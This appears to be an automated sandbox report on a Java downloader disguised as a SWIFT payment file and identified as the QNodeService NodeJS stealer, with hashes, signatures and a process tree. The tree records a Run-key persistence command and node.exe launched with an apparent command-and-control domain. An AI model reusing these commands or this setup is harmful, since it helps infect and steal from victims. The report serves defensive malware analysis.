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Analysis

  • max time kernel
    147s
  • max time network
    122s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    26/10/2020, 14:50

General

  • Target

    SWIFT MT103 65800 .jar

  • Size

    74KB

  • MD5

    1c42b39fa5ff0b4d50d099a5e24c8d1b

  • SHA1

    8cd53e0dad4fb4d14f9c7961e60c4f22950d4dd2

  • SHA256

    e0d72ff290c85484632f91a9ae7de44f3b72e0f4c77bded1b2026f51c2d22f97

  • SHA512

    3c2bf03e0351dfcc0d683dd698005d2b0e46d7f34dcb179180c3783a0a831c6372e10d8f50b76352d586fbe057fcd82e4b1eaeb73524751175e484f5f358ca54

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar "C:\Users\Admin\AppData\Local\Temp\SWIFT MT103 65800 .jar"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3868
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\a142b49e.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2668
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1240
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Azpb9E\boot.js --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3352
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Azpb9E\boot.js --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2672
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "d2a1ce22-cdce-48c4-ae38-31aa0b248d26" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2308
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "d2a1ce22-cdce-48c4-ae38-31aa0b248d26" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:1972

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1240-169-0x000000EEB8D40000-0x000000EEB8D41000-memory.dmp

    Filesize

    4KB

  • memory/2672-176-0x00000033F6CC0000-0x00000033F6CC1000-memory.dmp

    Filesize

    4KB

  • memory/3352-172-0x000001E0CAC80000-0x000001E0CAC81000-memory.dmp

    Filesize

    4KB